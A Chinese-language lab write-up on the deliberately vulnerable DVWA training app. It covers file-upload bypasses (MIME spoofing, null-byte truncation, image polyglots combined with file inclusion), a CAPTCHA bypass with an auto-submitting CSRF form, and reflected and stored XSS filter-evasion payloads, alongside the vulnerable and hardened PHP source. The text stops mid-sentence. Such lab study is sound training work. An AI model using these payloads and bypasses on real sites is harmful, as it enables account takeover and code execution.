File Upload low 直接正常上传,使用正常img图片(内容为phpinfo)提交,使用burp拦截 尝试修改上传的文件后缀为.php
成功了.没有做任何限制.
medium 我们依然尝试上传php文件,提示只接受jpeg和png. 所以我们只能传png格式的php代码,如果要利用就只能使用文件包含漏洞,将其解析为php.
我们已经上传了2.png
,我们记录下文件上传后回显的路径../../hackable/uploads/2.png
我切换到medium等级的文件包含漏洞 由于medium过滤了../
和http://
所以我们使用双写加绝对路径
1 ?page=hthttp://tp://192.168.96.128/dvwa/hackable/uploads/2.png
成功执行了php代码.
我们查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php if ( isset ( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; if ( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { if ( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } ?>
我们看到代码判断的文件mime类型,还有文件大小. 我们尝试在burp上直接修改mime类型为image/png
上传成功了.
也可以使用截断上传构造1.php%00.jpg
试试
high 这次我们直接上传纯php代码的png格式文件,失败了.我试着制作图片码上传1111.jpg/b + 1.php/a picm.jpg
在cmd中制作(尝试使用win10的powershell发现使用这个命令就会 报错) 上传制作好的图片,成功了!.这里依然只能利用文件包含漏洞 我们再试着修改后缀上传.失败了.
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php if ( isset ( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1 ); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; if ( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { if ( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } ?>
不会的函数
strrpos(string,find,start) 函数返回字符串find在另一字符串string中最后一次 出现的位置 如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。
getimagesize(string filename) 函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
high会验证后缀是否为常见图片格式,而且是通过最后一次.
出现的位置来截取后缀的,所以我们可以通过截断来绕过(这是一个思路并不一定可行) 由于验证图片的头,所以还要制作一个图片码,通过copy制作或者直接编辑二进制文件添加图片头.
由于我们已经制作的图片码,只需要构造尾缀了.picm.php%00.jpg
上传成功 由于环境问我的截断并没有起作用.
impossible 本条来自 lonehand:https://www.freebuf.com/articles/web/119467.html
服务器端核心代码
服务器端核心代码
1 <?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
in_get(varname)
函数返回相应选项的值
imagecreatefromjpeg ( filename )
函数返回图片文件的图像标识,失败返回false
imagejpeg ( image , filename , quality)
从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从0(最差质量,文件更小)到100(最佳质量,文件最大)。
imagedestroy( img )
函数销毁图像资源
可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
Insecure CAPTCHA(不安全的验证码) low 验证流程出现了逻辑漏洞 尝试更换了几个reCAPTCHA key这个模块都提示网站密钥无效. 我们直接查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php if ( isset ( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { $hide_form = true ; $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], $_POST['g-recaptcha-response' ] ); if ( !$resp ) { $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>" ; $hide_form = false ; return ; } else { if ( $pass_new == $pass_conf ) { echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>" ; } else { $html .= "<pre>Both passwords must match.</pre>" ; $hide_form = false ; } } } if ( isset ( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { $hide_form = true ; $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; $hide_form = false ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } ?>
这里由于验证码模块失效没有recaptcha_challenge_field、recaptcha_response_field两个参数.但是不影响我们绕过. 我们看到验证流程只验证了step
和change
,当step
为2的时候表示通过了验证,所以我们直接抓包修改step为2,发包成功了.
这两个参数是通过post获得,由于页面没有防csrf机制,我们可以通过构造含有表单的攻击页面,诱导用户访问.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <html > <body onload ="document.getElementById('transfer').submit()" > <div > <form method ="POST" id ="transfer" action ="http://192.168.153.130/dvwa/vulnerabilities/captcha/" > <input type ="hidden" name ="password_new" value ="password" > <input type ="hidden" name ="password_conf" value ="password" > <input type ="hidden" name ="step" value ="2" <input type="hidden" name="Change" value="Change"> </form > </div > </body > </html >
修改密码成功后,服务器会返回302,实现自动跳转,用户从而意识到自己遭到了攻击.
Medium Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别
High 服务器端核心代码
可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。 由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。 更改参数recaptcha_response_field以及http包头的User-Agent
Impossible Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程终于不再分成两部分了,验证码无法绕过,同时要求用户输入之前的密码,进一步加强了身份认证.
SQL injection 手工注入思路 自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。
判断是否存在注入,注入是字符型还是数字型 猜解SQL查询语句中的字段数,显示位. 爆库 爆表 爆字段 查询数据
由于已经做过了sqli-lab暂时先略过
SQL injection(Blind) 同上
XSS(Reflected) Low 直接查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if ( array_key_exists( "name" , $_GET ) && $_GET[ 'name' ] != NULL ) { echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>' ; } ?>
直接使用Get获取name参数,并且直接显示到前端.没有做任何过滤,存在xss漏洞 为了方便我们不验证xss存在,试直接抓包,构造xss链接?name=<script>alert(/xss/)</script>
弹出了alert,成功了.
Medium 直接查看源码
1 2 3 4 5 6 7 8 9 <?php if ( array_key_exists( "name" , $_GET ) && $_GET[ 'name' ] != NULL ) { $name = str_replace( '<script>' , '' , $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>" ; } ?>
使用了str_replce
将<script>
替换为空. 方法有许多,我们先尝试双写绕过,都是反射性这次就不在url中输入,直接用输入框验证 构造:
1 <sc<script>ript>alert(/xss/)</script>
还可以大小写绕过
1 <Script>alert(/xss/)</script>
也可以不使用script例如用onerror1 <img src="#" onerror="alert(/Xss/)" />
等等很多方式.
high 源码
1 2 3 4 5 6 7 8 9 <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
一个新函数preg_replace()已加入php学习套餐. 在最后一个参数name中搜索第一个参数(一段正则表达),然后替换为中间的参数(空). 这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效
但是依然可以使用onerror等其他script函数调用方法.
impossible 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。
XSS(Stored) low 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php if ( isset ( $_POST[ 'btnSign' ] ) ) { $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); $message = stripslashes( $message ); $message = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $name = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); } ?>
可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞
我们直接抓包,修改name,message
Medium 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if ( isset ( $_POST[ 'btnSign' ] ) ) { $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); $message = strip_tags( addslashes( $message ) ); $message = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $message = htmlspecialchars( $message ); $name = str_replace( '<script>' , '' , $name ); $name = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); } ?>
可以看到message使用了htmlspecialchars
使用了实体化编码,无法绕过 而name使用的strip_tags()剥去,html,xml,php标签,但是仍然可以使用<script>
标签 由于name使用str_replace替换了<script>
我们还可以使用双写,大小写绕过.
High 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if ( isset ( $_POST[ 'btnSign' ] ) ) { $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i' , '' , $name ); $name = mysql_real_escape_string( $name ); $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );" ; $result = mysql_query( $query ) or die ( '<pre>' . mysql_error() . '</pre>' ); } ?>
这里使用正则表达式过滤了